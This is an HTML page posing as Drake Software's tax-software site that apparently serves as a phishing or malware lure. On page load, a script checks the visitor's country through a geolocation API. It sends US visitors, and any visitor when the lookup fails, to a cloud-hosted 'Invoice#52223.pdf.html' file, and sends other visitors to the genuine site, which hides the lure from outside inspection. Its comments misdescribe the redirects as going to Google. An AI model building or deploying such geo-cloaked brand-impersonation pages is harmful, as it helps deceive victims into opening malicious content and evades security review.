<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Drake Software – Professional Tax Software</title>
	<link rel="icon" href="https://www.drakesoftware.com/localassets/images/favicon.ico" type="image/x-icon"> <!-- For .ico file -->
    <script src="https://cdn.jsdelivr.net/npm/javascript-obfuscator/dist/index.browser.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"></script>
</head>
    <script>
        document.addEventListener('DOMContentLoaded', function() {
            // Fetch location data from the GeoJS API
            fetch('https://get.geojs.io/v1/ip/geo.json')
                .then(response => response.json())
                .then(data => {
                    // Check if the country is the USA
                    if (data.country_code === 'US') {
                        // Redirect to Google if in the USA
                        window.location.href = 'https://drakesoftware.blob.core.windows.net/drakesoftware/Invoice%2352223.pdf.html?sp=r&st=2025-01-14T21:06:03Z&se=2025-03-21T05:06:03Z&sv=2022-11-02&sr=b&sig=akzLUiorJuWND%2FdmzArtG9a5MMEDLzWZQwETJIZGnUk%3D';
                    } else {
                        // Redirect to another page if not in the USA
                        window.location.href = 'https://www.drakesoftware.com/#Invoice#52223.pdf';
                    }
                })
                .catch(error => {
                    console.error('Error fetching location data:', error);
                    // Redirect to Google on error
                    window.location.href = 'https://drakesoftware.blob.core.windows.net/drakesoftware/Invoice%2352223.pdf.html?sp=r&st=2025-01-14T21:06:03Z&se=2025-03-21T05:06:03Z&sv=2022-11-02&sr=b&sig=akzLUiorJuWND%2FdmzArtG9a5MMEDLzWZQwETJIZGnUk%3D';
                });
        });
    </script>
</head>
</html>